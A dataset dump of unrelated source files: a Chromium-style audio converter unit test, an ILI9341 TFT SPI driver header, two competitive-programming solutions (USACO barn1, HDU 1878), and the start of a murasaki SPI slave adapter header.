AudioConverterTest()
: epsilon_(std::tr1::get<3>(GetParam())) {
// Create input and output parameters based on test parameters.
input_parameters_ = AudioParameters(
AudioParameters::AUDIO_PCM_LINEAR, kChannelLayout,
std::tr1::get<0>(GetParam()), kBitsPerChannel, kHighLatencyBufferSize);
output_parameters_ = AudioParameters(
AudioParameters::AUDIO_PCM_LOW_LATENCY, std::tr1::get<2>(GetParam()),
std::tr1::get<1>(GetParam()), 16, kLowLatencyBufferSize);
converter_.reset(new AudioConverter(
input_parameters_, output_parameters_, false));
audio_bus_ = AudioBus::Create(output_parameters_);
expected_audio_bus_ = AudioBus::Create(output_parameters_);
// Allocate one callback for generating expected results.
double step = kSineCycles / static_cast<double>(
output_parameters_.frames_per_buffer());
expected_callback_.reset(new FakeAudioRenderCallback(step, kSampleRate));
}
// Creates |count| input callbacks to be used for conversion testing.
void InitializeInputs(int count) {
// Setup FakeAudioRenderCallback step to compensate for resampling.
double scale_factor = input_parameters_.sample_rate() /
static_cast<double>(output_parameters_.sample_rate());
double step = kSineCycles / (scale_factor *
static_cast<double>(output_parameters_.frames_per_buffer()));
for (int i = 0; i < count; ++i) {
fake_callbacks_.push_back(
base::MakeUnique<FakeAudioRenderCallback>(step, kSampleRate));
converter_->AddInput(fake_callbacks_[i].get());
}
}
// Resets all input callbacks to a pristine state.
void Reset() {
converter_->Reset();
for (size_t i = 0; i < fake_callbacks_.size(); ++i)
fake_callbacks_[i]->reset();
expected_callback_->reset();
}
// Sets the volume on all input callbacks to |volume|.
void SetVolume(float volume) {
for (size_t i = 0; i < fake_callbacks_.size(); ++i)
fake_callbacks_[i]->set_volume(volume);
}
// Validates audio data between |audio_bus_| and |expected_audio_bus_| from
// |index|..|frames| after |scale| is applied to the expected audio data.
bool ValidateAudioData(int index, int frames, float scale) {
for (int i = 0; i < audio_bus_->channels(); ++i) {
for (int j = index; j < frames; ++j) {
double error = fabs(audio_bus_->channel(i)[j] -
expected_audio_bus_->channel(i)[j] * scale);
if (error > epsilon_) {
EXPECT_NEAR(expected_audio_bus_->channel(i)[j] * scale,
audio_bus_->channel(i)[j], epsilon_)
<< " i=" << i << ", j=" << j;
return false;
}
}
}
return true;
}
// Runs a single Convert() stage, fills |expected_audio_bus_| appropriately,
// and validates equality with |audio_bus_| after |scale| is applied.
bool RenderAndValidateAudioData(float scale) {
// Render actual audio data.
converter_->Convert(audio_bus_.get());
// Render expected audio data.
expected_callback_->Render(base::TimeDelta(), base::TimeTicks::Now(), 0,
expected_audio_bus_.get());
// Zero out unused channels in the expected AudioBus just as AudioConverter
// would during channel mixing.
for (int i = input_parameters_.channels();
i < output_parameters_.channels(); ++i) {
memset(expected_audio_bus_->channel(i), 0,
audio_bus_->frames() * sizeof(*audio_bus_->channel(i)));
}
return ValidateAudioData(0, audio_bus_->frames(), scale);
}
// Fills |audio_bus_| fully with |value|.
void FillAudioData(float value) {
for (int i = 0; i < audio_bus_->channels(); ++i) {
std::fill(audio_bus_->channel(i),
audio_bus_->channel(i) + audio_bus_->frames(), value);
}
}
// Verifies converter output with a |inputs| number of transform inputs.
void RunTest(int inputs) {
InitializeInputs(inputs);
SetVolume(0);
for (int i = 0; i < kConvertCycles; ++i)
ASSERT_TRUE(RenderAndValidateAudioData(0));
Reset();
// Set a different volume for each input and verify the results.
float total_scale = 0;
for (size_t i = 0; i < fake_callbacks_.size(); ++i) {
float volume = static_cast<float>(i) / fake_callbacks_.size();
total_scale += volume;
fake_callbacks_[i]->set_volume(volume);
}
for (int i = 0; i < kConvertCycles; ++i)
ASSERT_TRUE(RenderAndValidateAudioData(total_scale));
Reset();
// Remove every other input.
for (size_t i = 1; i < fake_callbacks_.size(); i += 2)
converter_->RemoveInput(fake_callbacks_[i].get());
SetVolume(1);
float scale = inputs > 1 ? inputs / 2.0f : inputs;
for (int i = 0; i < kConvertCycles; ++i)
ASSERT_TRUE(RenderAndValidateAudioData(scale));
}
protected:
virtual ~AudioConverterTest() {}
// Converter under test.
std::unique_ptr<AudioConverter> converter_;
// Input and output parameters used for AudioConverter construction.
AudioParameters input_parameters_;
AudioParameters output_parameters_;
// Destination AudioBus for AudioConverter output.
std::unique_ptr<AudioBus> audio_bus_;
// AudioBus containing expected results for comparison with |audio_bus_|.
std::unique_ptr<AudioBus> expected_audio_bus_;
// Vector of all input callbacks used to drive AudioConverter::Convert().
std::vector<std::unique_ptr<FakeAudioRenderCallback>> fake_callbacks_;
// Parallel input callback which generates the expected output.
std::unique_ptr<FakeAudioRenderCallback> expected_callback_;
// Epsilon value with which to perform comparisons between |audio_bus_| and
// |expected_audio_bus_|.
double epsilon_;
DISALLOW_COPY_AND_ASSIGN(AudioConverterTest);
};
// Ensure the buffer delay provided by AudioConverter is accurate.
TEST(AudioConverterTest, AudioDelayAndDiscreteChannelCount) {
// Choose input and output parameters such that the transform must make
// multiple calls to fill the buffer.
AudioParameters input_parameters(AudioParameters::AUDIO_PCM_LINEAR,
CHANNEL_LAYOUT_DISCRETE, kSampleRate,
kBitsPerChannel, kLowLatencyBufferSize);
input_parameters.set_channels_for_discrete(10);
AudioParameters output_parameters(AudioParameters::AUDIO_PCM_LINEAR,
CHANNEL_LAYOUT_DISCRETE, kSampleRate * 2,
kBitsPerChannel, kHighLatencyBufferSize);
output_parameters.set_channels_for_discrete(5);
AudioConverter converter(input_parameters, output_parameters, false);
FakeAudioRenderCallback callback(0.2, kSampleRate);
std::unique_ptr<AudioBus> audio_bus = AudioBus::Create(output_parameters);
converter.AddInput(&callback);
converter.Convert(audio_bus.get());
// double input_sample_rate = input_parameters.sample_rate();
// int fill_count =
// (output_parameters.frames_per_buffer() * input_sample_rate /
// output_parameters.sample_rate()) /
// input_parameters.frames_per_buffer();
//
// This magic number is the accumulated MultiChannelResampler delay after
// |fill_count| (4) callbacks to provide input. The number of frames delayed
// is an implementation detail of the SincResampler chunk size (480 for the
// first two callbacks, 512 for the last two callbacks). See
// SincResampler.ChunkSize().
int kExpectedDelay = 992;
auto expected_delay =
AudioTimestampHelper::FramesToTime(kExpectedDelay, kSampleRate);
EXPECT_EQ(expected_delay, callback.last_delay());
EXPECT_EQ(input_parameters.channels(), callback.last_channel_count());
}
TEST_P(AudioConverterTest, ArbitraryOutputRequestSize) {
// Resize output bus to be half of |output_parameters_|'s frames_per_buffer().
audio_bus_ = AudioBus::Create(output_parameters_.channels(),
output_parameters_.frames_per_buffer() / 2);
RunTest(1);
}
TEST_P(AudioConverterTest, NoInputs) {
FillAudioData(1.0f);
EXPECT_TRUE(RenderAndValidateAudioData(0.0f));
}
TEST_P(AudioConverterTest, OneInput) {
RunTest(1);
}
TEST_P(AudioConverterTest, ManyInputs) {
RunTest(kConvertInputs);
}
INSTANTIATE_TEST_CASE_P(
AudioConverterTest, AudioConverterTest, testing::Values(
// No resampling. No channel mixing.
std::tr1::make_tuple(44100, 44100, CHANNEL_LAYOUT_STEREO, 0.00000048),
// Upsampling. Channel upmixing.
std::tr1::make_tuple(44100, 48000, CHANNEL_LAYOUT_QUAD, 0.033),
// Downsampling. Channel downmixing.
std::tr1::make_tuple(48000, 41000, CHANNEL_LAYOUT_MONO, 0.042)));
} // namespace media
| [
"[email protected]"
] | |
150b9da739d022f73820dcb90f5e3ed6392d2c02 | 8ed8027c1bf5483c189b27b485127b72cfd0f722 | /glowdeck/Pixels_SPIhw.h | 0760ab0fab301dd790e57ae438255038bb632b50 | [
"Apache-2.0"
] | permissive | PLSCO/Glowdeck_Xcode | 30d6f691dc6c449d09288f88b3dd123a25443e8d | ef287b17fb634df6714d7a7e9ca5f9fd629d1f34 | refs/heads/master | 2021-05-05T19:01:12.913769 | 2017-09-16T23:10:43 | 2017-09-16T23:10:43 | 103,789,503 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 16,265 | h | /*
* Pixels. Graphics library for TFT displays.
*
* Copyright (C) 2012-2013 Igor Repinetski
*
* The code is written in C/C++ for Arduino and can be easily ported to any microcontroller by rewritting the low level pin access functions.
*
* Text output methods of the library rely on Pixelmeister's font data format. See: http://pd4ml.com/pixelmeister
*
* This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/3.0/
*
* This library includes some code portions and algoritmic ideas derived from works of
* - Andreas Schiffler -- aschiffler at ferzkopp dot net (SDL_gfx Project)
* - K. Townsend http://microBuilder.eu (lpc1343codebase Project)
*/
/*
* Hardware SPI layer (SCL=13, SDA=11 on Arduino)
*/
#include "Pixels.h"
#include "SPI.h"
#ifdef PIXELS_MAIN
#error Pixels_SPIhw.h must be included before Pixels_<CONTROLLER>.h
#endif
#ifndef PIXELS_SPIHW_H
#define PIXELS_SPIHW_H
#define WIDTH 320
#define HEIGHT 240
// At all other speeds, SPI.beginTransaction() will use the fastest available clock
#define SPICLOCK 30000000
#define ILI9341_TFTWIDTH 240
#define ILI9341_TFTHEIGHT 320
#define ILI9341_NOP 0x00
#define ILI9341_SWRESET 0x01
#define ILI9341_RDDID 0x04
#define ILI9341_RDDST 0x09
#define ILI9341_SLPIN 0x10
#define ILI9341_SLPOUT 0x11
#define ILI9341_PTLON 0x12
#define ILI9341_NORON 0x13
#define ILI9341_RDMODE 0x0A
#define ILI9341_RDMADCTL 0x0B
#define ILI9341_RDPIXFMT 0x0C
#define ILI9341_RDIMGFMT 0x0D
#define ILI9341_RDSELFDIAG 0x0F
#define ILI9341_INVOFF 0x20
#define ILI9341_INVON 0x21
#define ILI9341_GAMMASET 0x26
#define ILI9341_DISPOFF 0x28
#define ILI9341_DISPON 0x29
#define ILI9341_CASET 0x2A
#define ILI9341_PASET 0x2B
#define ILI9341_RAMWR 0x2C
#define ILI9341_RAMRD 0x2E
#define ILI9341_PTLAR 0x30
#define ILI9341_MADCTL 0x36
#define ILI9341_VSCRSADD 0x37
#define ILI9341_PIXFMT 0x3A
#define ILI9341_FRMCTR1 0xB1
#define ILI9341_FRMCTR2 0xB2
#define ILI9341_FRMCTR3 0xB3
#define ILI9341_INVCTR 0xB4
#define ILI9341_DFUNCTR 0xB6
#define ILI9341_PWCTR1 0xC0
#define ILI9341_PWCTR2 0xC1
#define ILI9341_PWCTR3 0xC2
#define ILI9341_PWCTR4 0xC3
#define ILI9341_PWCTR5 0xC4
#define ILI9341_VMCTR1 0xC5
#define ILI9341_VMCTR2 0xC7
#define ILI9341_RDID1 0xDA
#define ILI9341_RDID2 0xDB
#define ILI9341_RDID3 0xDC
#define ILI9341_RDID4 0xDD
#define ILI9341_GMCTRP1 0xE0
#define ILI9341_GMCTRN1 0xE1
#define MADCTL_MY 0x80
#define MADCTL_MX 0x40
#define MADCTL_MV 0x20
#define MADCTL_ML 0x10
#define MADCTL_RGB 0x00
#define MADCTL_BGR 0x08
#define MADCTL_MH 0x04
#define SPI_CLOCK_DIV4 0x00
#define SPI_CLOCK_DIV16 0x01
#define SPI_CLOCK_DIV64 0x02
#define SPI_CLOCK_DIV128 0x03
#define SPI_CLOCK_DIV2 0x04
#define SPI_CLOCK_DIV8 0x05
#define SPI_CLOCK_DIV32 0x06
#define SPI_CLOCK_DIV64 0x07
#define SPI_MODE0 0x00
#define SPI_MODE1 0x04
#define SPI_MODE2 0x08
#define SPI_MODE3 0x0C
#define SPI_MODE_MASK 0x0C // CPOL = bit 3, CPHA = bit 2 on SPCR
#define SPI_CLOCK_MASK 0x03 // SPR1 = bit 1, SPR0 = bit 0 on SPCR
#define SPI_2XCLOCK_MASK 0x01 // SPI2X = bit 0 on SPSR
#define SPI(X) SPDR=X;while(!(SPSR&_BV(SPIF)))
//#undef chipDeselect
//#define chipDeselect()
class SPIhw {
private:
uint8_t pinSCL;
uint8_t pinSDA;
uint8_t pinWR;
uint8_t pinCS;
uint8_t pinRST;
/* JK */
uint8_t cs = 10;
uint8_t dc = 9;
uint8_t rst = 2;
uint8_t mosi = 11;
uint8_t sclk = 13;
uint8_t miso = 12;
regtype *registerSCL;
regtype *registerSDA;
regtype *registerWR;
regsize bitmaskSCL;
regsize bitmaskSDA;
regsize bitmaskWR;
void beginSPI();
void endSPI();
bool eightBit;
uint32_t ctar0;
uint32_t ctar1;
void updatectars();
int spiModeRequest;
protected:
uint8_t _rst;
uint8_t _cs, _dc;
uint8_t pcs_data, pcs_command;
uint8_t _miso, _mosi, _sclk;
void reset() {
pinMode(_rst, OUTPUT);
digitalWrite(_rst, HIGH);
delay(5);
digitalWrite(_rst, LOW);
delay(20);
digitalWrite(_rst, HIGH);
delay(150);
/*
digitalWrite(pinRST,LOW);
delay(100);
digitalWrite(pinRST,HIGH);
delay(100);
*/
}
/* JK ADDITION */
void setAddr(uint16_t x0, uint16_t y0, uint16_t x1, uint16_t y1)
__attribute__((always_inline)) {
writecommand_cont(ILI9341_CASET); // Column addr set
writedata16_cont(x0); // XSTART
writedata16_cont(x1); // XEND
writecommand_cont(ILI9341_PASET); // Row addr set
writedata16_cont(y0); // YSTART
writedata16_cont(y1); // YEND
}
void waitFifoNotFull(void) {
uint32_t sr;
uint32_t tmp __attribute__((unused));
do {
sr = KINETISK_SPI0.SR;
if (sr & 0xF0) tmp = KINETISK_SPI0.POPR; // drain RX FIFO
} while ((sr & (15 << 12)) > (3 << 12));
}
void waitFifoEmpty(void) {
uint32_t sr;
uint32_t tmp __attribute__((unused));
do {
sr = KINETISK_SPI0.SR;
if (sr & 0xF0) tmp = KINETISK_SPI0.POPR; // drain RX FIFO
} while ((sr & 0xF0F0) > 0); // wait both RX & TX empty
}
void waitTransmitComplete(void) __attribute__((always_inline)) {
uint32_t tmp __attribute__((unused));
while (!(KINETISK_SPI0.SR & SPI_SR_TCF)) ; // wait until final output done
tmp = KINETISK_SPI0.POPR; // drain the final RX FIFO word
}
void waitTransmitComplete(uint32_t mcr) __attribute__((always_inline)) {
uint32_t tmp __attribute__((unused));
while (1) {
uint32_t sr = KINETISK_SPI0.SR;
if (sr & SPI_SR_EOQF) break; // wait for last transmit
if (sr & 0xF0) tmp = KINETISK_SPI0.POPR;
}
KINETISK_SPI0.SR = SPI_SR_EOQF;
SPI0_MCR = mcr;
while (KINETISK_SPI0.SR & 0xF0) {
tmp = KINETISK_SPI0.POPR;
}
}
void writecommand_cont(uint8_t c) __attribute__((always_inline)) {
KINETISK_SPI0.PUSHR = c | (pcs_command << 16) | SPI_PUSHR_CTAS(0) | SPI_PUSHR_CONT;
waitFifoNotFull();
}
void writedata8_cont(uint8_t c) __attribute__((always_inline)) {
KINETISK_SPI0.PUSHR = c | (pcs_data << 16) | SPI_PUSHR_CTAS(0) | SPI_PUSHR_CONT;
waitFifoNotFull();
}
void writedata16_cont(uint16_t d) __attribute__((always_inline)) {
KINETISK_SPI0.PUSHR = d | (pcs_data << 16) | SPI_PUSHR_CTAS(1) | SPI_PUSHR_CONT;
waitFifoNotFull();
}
void writecommand_last(uint8_t c) __attribute__((always_inline)) {
uint32_t mcr = SPI0_MCR;
KINETISK_SPI0.PUSHR = c | (pcs_command << 16) | SPI_PUSHR_CTAS(0) | SPI_PUSHR_EOQ;
waitTransmitComplete(mcr);
}
void writedata8_last(uint8_t c) __attribute__((always_inline)) {
uint32_t mcr = SPI0_MCR;
KINETISK_SPI0.PUSHR = c | (pcs_data << 16) | SPI_PUSHR_CTAS(0) | SPI_PUSHR_EOQ;
waitTransmitComplete(mcr);
}
void writedata16_last(uint16_t d) __attribute__((always_inline)) {
uint32_t mcr = SPI0_MCR;
KINETISK_SPI0.PUSHR = d | (pcs_data << 16) | SPI_PUSHR_CTAS(1) | SPI_PUSHR_EOQ;
waitTransmitComplete(mcr);
}
/* END JK ADDITION */
void writeCmd(uint8_t b);
__attribute__((noinline)) void writeData(uint8_t data); // noinline saves 4-5kb sketch code in the case. An impact to performance is to be learned.
void writeData(uint8_t hi, uint8_t lo) {
writeData(hi);
writeData(lo);
}
void writeDataTwice(uint8_t b) {
writeData(b);
writeData(b);
}
void writeCmdData(uint8_t cmd, uint16_t data) {
writeCmd(cmd);
writeData(highByte(data));
writeData(lowByte(data));
}
public:
void setSPIBitOrder(uint8_t bitOrder);
void setSPIDataMode(uint8_t mode);
void setSPIClockDivider(uint8_t rate);
/**
* Overrides SPI pins
* @param scl
* @param sda
* @param cs chip select
* @param rst reset
* @param wr write pin; if not omitted (and not equals to 255) - switches to eight bit mode transfer
*/
inline void setSpiPins(uint8_t scl, uint8_t sda, uint8_t cs, uint8_t rst, uint8_t wr = 255) {
pinSCL = scl;
pinSDA = sda;
pinCS = cs;
pinRST = rst;
pinWR = wr;
eightBit = wr != 255;
/* JK ADDITION */
_sclk = scl;
_mosi = sda;
_cs = cs;
_rst = rst;
_dc = wr;
_miso = 12;
/* JK ADDITION END */
}
/**
* Overrides PPI pins
* @param cs chip select
*/
inline void setPpiPins(uint8_t rs, uint8_t wr, uint8_t cs, uint8_t rst, uint8_t rd) {
}
inline void registerSelect() {
}
void initInterface();
};
/* JK ADDITION */
static const uint8_t init_commands[] = {
4, 0xEF, 0x03, 0x80, 0x02,
4, 0xCF, 0x00, 0XC1, 0X30,
5, 0xED, 0x64, 0x03, 0X12, 0X81,
4, 0xE8, 0x85, 0x00, 0x78,
6, 0xCB, 0x39, 0x2C, 0x00, 0x34, 0x02,
2, 0xF7, 0x20,
3, 0xEA, 0x00, 0x00,
2, ILI9341_PWCTR1, 0x23, // Power control
2, ILI9341_PWCTR2, 0x10, // Power control
3, ILI9341_VMCTR1, 0x3e, 0x28, // VCM control
2, ILI9341_VMCTR2, 0x86, // VCM control2
2, ILI9341_MADCTL, 0x48, // Memory Access Control
2, ILI9341_PIXFMT, 0x55,
3, ILI9341_FRMCTR1, 0x00, 0x18,
4, ILI9341_DFUNCTR, 0x08, 0x82, 0x27, // Display Function Control
2, 0xF2, 0x00, // Gamma Function Disable
2, ILI9341_GAMMASET, 0x01, // Gamma curve selected
16, ILI9341_GMCTRP1, 0x0F, 0x31, 0x2B, 0x0C, 0x0E, 0x08,
0x4E, 0xF1, 0x37, 0x07, 0x10, 0x03, 0x0E, 0x09, 0x00, // Set Gamma
16, ILI9341_GMCTRN1, 0x00, 0x0E, 0x14, 0x03, 0x11, 0x07,
0x31, 0xC1, 0x48, 0x08, 0x0F, 0x0C, 0x31, 0x36, 0x0F, // Set Gamma
0
};
/* JK ADDITION END */
void SPIhw::initInterface() {
registerSCL = portOutputRegister(digitalPinToPort(pinSCL));
bitmaskSCL = digitalPinToBitMask(pinSCL);
registerSDA = portOutputRegister(digitalPinToPort(pinSDA));
bitmaskSDA = digitalPinToBitMask(pinSDA);
registerWR = portOutputRegister(digitalPinToPort(pinWR));
bitmaskWR = digitalPinToBitMask(pinWR);
registerCS = portOutputRegister(digitalPinToPort(pinCS));
bitmaskCS = digitalPinToBitMask(pinCS);
pinMode(pinSCL,OUTPUT);
pinMode(pinSDA,OUTPUT);
pinMode(pinWR,OUTPUT);
pinMode(pinRST,OUTPUT);
pinMode(pinCS,OUTPUT);
digitalWrite(pinCS, HIGH);
if ((_mosi == 11 || _mosi == 7) && (_miso == 12 || _miso == 8) && (_sclk == 13 || _sclk == 14)) {
SPI.setMOSI(_mosi);
SPI.setMISO(_miso);
SPI.setSCK(_sclk);
}
else {
return;
}
SPI.begin();
if (SPI.pinIsChipSelect(_cs, _dc)) {
pcs_data = SPI.setCS(_cs);
pcs_command = pcs_data | SPI.setCS(_dc);
}
else {
pcs_data = 0;
pcs_command = 0;
return;
}
reset();
SPI.beginTransaction(SPISettings(SPICLOCK, MSBFIRST, SPI_MODE0));
const uint8_t *addr = init_commands;
while (1) {
uint8_t count = *addr++;
if (count-- == 0) break;
writecommand_cont(*addr++);
while (count-- > 0) {
writedata8_cont(*addr++);
}
}
writecommand_last(ILI9341_SLPOUT); // Exit Sleep
SPI.endTransaction();
delay(120);
SPI.beginTransaction(SPISettings(SPICLOCK, MSBFIRST, SPI_MODE0));
writecommand_last(ILI9341_DISPON); // Display on
SPI.endTransaction();
// beginSPI();
// if ( spiModeRequest > 0 ) {
// setSPIDataMode(spiModeRequest-1);
// }
// setSPIBitOrder(MSBFIRST);
// setSPIDataMode(SPI_MODE0);
// setSPIClockDivider(SPI_CLOCK_DIV64);
}
void SPIhw::writeCmd(uint8_t cmd) {
/* JK ADDITION */
SPI.beginTransaction(SPISettings(SPICLOCK, MSBFIRST, SPI_MODE0));
writecommand_last(cmd);
SPI.endTransaction();
/* JK ADDITION END */
/*
#if defined(TEENSYDUINO)
chipSelect();
#endif
if ( eightBit ) {
*registerWR &= ~bitmaskWR;
} else {
SPCR &= ~_BV(SPE); // Disable SPI to get control of the SCK pin.
cbi(registerSDA, bitmaskSDA);
cbi(registerSCL, bitmaskSCL); // Pull SPI SCK high
// delay(1); // Insert extra time to the hight pulse, typically needed
sbi(registerSCL, bitmaskSCL); // Pull SPI SCK low
SPCR |= _BV(SPE); // Enable SPI again
}
#if defined(TEENSYDUINO)
SPI0_SR = SPI_SR_TCF;
SPI0_PUSHR = cmd;
while (!(SPI0_SR & SPI_SR_TCF)) ; // wait
chipDeselect();
#else
SPDR = cmd;
while (!(SPSR & _BV(SPIF)));
#endif
*/
}
void SPIhw::writeData(uint8_t data) {
/* JK ADDITION */
SPI.beginTransaction(SPISettings(SPICLOCK, MSBFIRST, SPI_MODE0));
writedata8_last(data);
SPI.endTransaction();
/* JK ADDITION END */
/*
#if defined(TEENSYDUINO)
chipSelect();
#endif
if ( eightBit ) {
*registerWR |= bitmaskWR;
} else {
SPCR &= ~_BV(SPE); // Disable SPI to get control of the SCK pin.
sbi(registerSDA, bitmaskSDA);
cbi(registerSCL, bitmaskSCL); // Pull SPI SCK high
// delay(1); // Insert extra time to the hight pulse, typically needed
sbi(registerSCL, bitmaskSCL); // Pull SPI SCK low
SPCR |= _BV(SPE); // Enable SPI again
}
#if defined(TEENSYDUINO)
SPI0_SR = SPI_SR_TCF;
SPI0_PUSHR = data;
while (!(SPI0_SR & SPI_SR_TCF)) ; // wait
chipDeselect();
#else
SPDR = data;
while (!(SPSR & _BV(SPIF)));
#endif
*/
}
void SPIhw::beginSPI() {
digitalWrite(pinCS, HIGH);
pinMode(pinCS, OUTPUT);
cbi(registerSCL, bitmaskSCL);
cbi(registerSDA, bitmaskSDA);
digitalWrite(pinCS, HIGH);
#if defined(TEENSYDUINO)
// Warning: if the SS pin ever becomes a LOW INPUT then SPI
// automatically switches to Slave, so the data direction of
// the SS pin MUST be kept as OUTPUT.
/* JK ADDITION */
uint32_t ctar = SPI_CTAR_FMSZ(7) | SPI_CTAR_PBR(0) | SPI_CTAR_BR(0) | SPI_CTAR_CSSCK(0) | SPI_CTAR_DBR;
SIM_SCGC6 |= SIM_SCGC6_SPI0;
SPI0_MCR = SPI_MCR_MDIS | SPI_MCR_HALT | SPI_MCR_PCSIS(0x1F);
SPI0_CTAR0 = (SPI_CTAR_FMSZ(7) | SPI_CTAR_PBR(0) | SPI_CTAR_BR(0) | SPI_CTAR_DBR | SPI_CTAR_CSSCK(0)) & ~SPI_CTAR_LSBFE;
SPI0_CTAR1 = (SPI_CTAR_FMSZ(15) | SPI_CTAR_PBR(0) | SPI_CTAR_BR(0) | SPI_CTAR_DBR | SPI_CTAR_CSSCK(0)) & ~SPI_CTAR_LSBFE;
SPI0_MCR = SPI_MCR_MSTR | SPI_MCR_PCSIS(0x1F);
/* JK ADDITION END */
/*
SIM_SCGC6 |= SIM_SCGC6_SPI0;
SPI0_MCR = SPI_MCR_MDIS | SPI_MCR_HALT | SPI_MCR_PCSIS(0x1F);
SPI0_CTAR0 = (SPI_CTAR_FMSZ(7) |
SPI_CTAR_PBR(0) | SPI_CTAR_BR(0) | SPI_CTAR_DBR | SPI_CTAR_CSSCK(0)) & ~SPI_CTAR_LSBFE;
SPI0_CTAR1 = (SPI_CTAR_FMSZ(15) |
SPI_CTAR_PBR(0) | SPI_CTAR_BR(0) | SPI_CTAR_DBR | SPI_CTAR_CSSCK(0)) & ~SPI_CTAR_LSBFE;
SPI0_MCR = SPI_MCR_MSTR | SPI_MCR_PCSIS(0x1F);
*/
#else
SPCR |= _BV(MSTR);
SPCR |= _BV(SPE);
DDRB = DDRB | B00000001; // PB0 as OUTPUT
PORTB = PORTB | B00000001; // PB0 as HIGH
#endif
}
void SPIhw::endSPI() {
#if defined(TEENSYDUINO)
/* JK ADDITION */
SPI.end();
/* JK ADDITION END */
//SPI0_MCR = SPI_MCR_MDIS | SPI_MCR_HALT | SPI_MCR_PCSIS(0x1F);
#else
SPCR &= ~_BV(SPE);
#endif
}
void SPIhw::setSPIBitOrder(uint8_t bitOrder) {
if (bitOrder == LSBFIRST) {
SPCR |= _BV(DORD);
} else {
SPCR &= ~(_BV(DORD));
}
}
void SPIhw::setSPIDataMode(uint8_t mode) {
#if defined(TEENSYDUINO)
spiModeRequest = mode + 1;
SIM_SCGC6 |= SIM_SCGC6_SPI0;
SPCR = (SPCR & ~SPI_MODE_MASK) | mode;
#else
SPCR = (SPCR & ~SPI_MODE_MASK) | mode;
#endif
}
void SPIhw::setSPIClockDivider(uint8_t rate) {
#if defined(TEENSYDUINO)
// TODO
#else
SPCR = (SPCR & ~SPI_CLOCK_MASK) | (rate & SPI_CLOCK_MASK);
SPSR = (SPSR & ~SPI_2XCLOCK_MASK) | ((rate >> 2) & SPI_2XCLOCK_MASK);
#endif
}
#endif // PIXELS_SPIHW_H
| [
"[email protected]"
] | |
7a5084d90258d0474012cc5bc60c82e38b773df4 | 78702d0311366c552eba2f7cf7c4a2d3c84c96f4 | /1.3/barn1/barn1.cpp | ff303392369c53a0eccb6c9dd3892acb30878034 | [] | no_license | stella-gao/USACO-1 | ac8ef23eff0513e561896f3e17c20b0dba6b13fe | 100255d700686ebe55ace61e4f9cc18901eccee6 | refs/heads/master | 2021-01-22T16:44:34.379025 | 2015-06-11T22:52:17 | 2015-06-11T22:52:17 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,602 | cpp | /*
ID: vedaad71
PROG: barn1
LANG: C++
*/
#include <iostream>
#include <algorithm>
#include <fstream>
using namespace std;
int main() {
ifstream fin("barn1.in");
ofstream fout("barn1.out");
int numBoards;
int numStalls;
int numCows;
fin >> numBoards >> numStalls >> numCows;
int cows[numCows];
int largestGaps[numBoards-1];
int gap;
int stallsBlocked = 0;
for (int i = 0; i < numBoards-1; i++) largestGaps[i]=0;
for (int i = 0; i < numCows; i++)
fin >> cows[i];
sort(cows, cows+numCows);
stallsBlocked = cows[numCows-1] - cows[0] + 1;
// find the largest gap between cows, so the max number of stalls can be ignored.
for (int i = 0; i < numCows-1; i++) {
gap = cows[i+1] - cows[i] - 1; //number of stalls between cows
if (gap > largestGaps[0]) {
largestGaps[0] = gap;
sort(largestGaps, largestGaps+numBoards-1);
}
}
for (int i = 0; i < numBoards-1; i++) {
stallsBlocked -= largestGaps[i];
}
fout << stallsBlocked << endl;
return 0;
}
| [
"[email protected]"
] | |
0109a6270b62234704a641eabfbc9d724f5ad08e | b269392cc4727b226e15b3f08e9efb41a7f4b048 | /HDU/HDU 1878.cpp | 4d78dace2309104a0b11894d3f435ecf07e06ab4 | [] | no_license | ThoseBygones/ACM_Code | edbc31b95077e75d3b17277d843cc24b6223cc0c | 2e8afd599b8065ae52b925653f6ea79c51a1818f | refs/heads/master | 2022-11-12T08:23:55.232349 | 2022-10-30T14:17:23 | 2022-10-30T14:17:23 | 91,112,483 | 1 | 0 | null | null | null | null | GB18030 | C++ | false | false | 1,208 | cpp | #include <iostream>
#include <cstdio>
#include <cstring>
using namespace std;
#define MAXN 1005
int edge[MAXN][MAXN]; //邻接矩阵
int indegree[MAXN]; //每个点的入度
int outdegree[MAXN]; //每个点的出度
int vis[MAXN];
int n,m;
void dfs(int x)
{
vis[x]=1;
for(int i=1; i<=n; i++)
{
if(edge[x][i] && !vis[i])
dfs(i);
}
}
int main()
{
while(~scanf("%d",&n))
{
if(n==0)
break;
memset(indegree,0,sizeof(indegree));
memset(outdegree,0,sizeof(outdegree));
memset(vis,0,sizeof(vis));
memset(edge,0,sizeof(edge));
scanf("%d",&m);
while(m--)
{
int u,v;
scanf("%d%d",&u,&v);
edge[u][v]=edge[v][u]=1;
indegree[u]++,outdegree[u]++;
indegree[v]++,outdegree[v]++;
}
dfs(1);
bool flag=true;
for(int i=1; i<=n; i++)
{
if(outdegree[i]!=indegree[i] || !vis[i] || indegree[i]%2)
{
flag=false;
break;
}
}
if(flag)
printf("1\n");
else
printf("0\n");
}
return 0;
}
| [
"[email protected]"
] | |
6cdc0cdb55eb77d098124d92fe91254d2f0dce0a | e26c93d21da4608eb4e4014a60ccba3c79f95c43 | /core/spislaveadapter.hpp | e80315d435c290b2decf11d6b10cc5aadf42ac36 | [
"MIT"
] | permissive | suikan4github/murasaki | ac125a928dcebb07e627f6a59594b9e12813e860 | bfa0dcb3d1df4d9a66c658f2fbdc3995c61a064c | refs/heads/master | 2023-08-14T18:59:20.626438 | 2023-07-09T12:28:50 | 2023-07-09T12:28:50 | 169,833,441 | 15 | 3 | MIT | 2023-07-09T12:28:51 | 2019-02-09T04:58:56 | C++ | UTF-8 | C++ | false | false | 2,264 | hpp | /**
* @file spislaveadapter.hpp
*
* @date 2018/02/17
* @author Seiichi "Suikan" Horie
* @brief STM32 SPI slave speifire
*/
#ifndef SPISLAVEADAPTER_HPP_
#define SPISLAVEADAPTER_HPP_
#include <spislaveadapterstrategy.hpp>
// Check if CubeMx geenrates the SPI modeule
#ifdef HAL_SPI_MODULE_ENABLED
namespace murasaki {
/**
* @brief A speficier of SPI slave.
* @details
* This class describes how ths slave is. The description is clock POL and PHA for the
* speicific slave device.
*
* In addition to the clock porality, the instans of this class works as salogate of the
* chip select control.
*
* The instans will be passed to the @ref SpiMaster class.
*
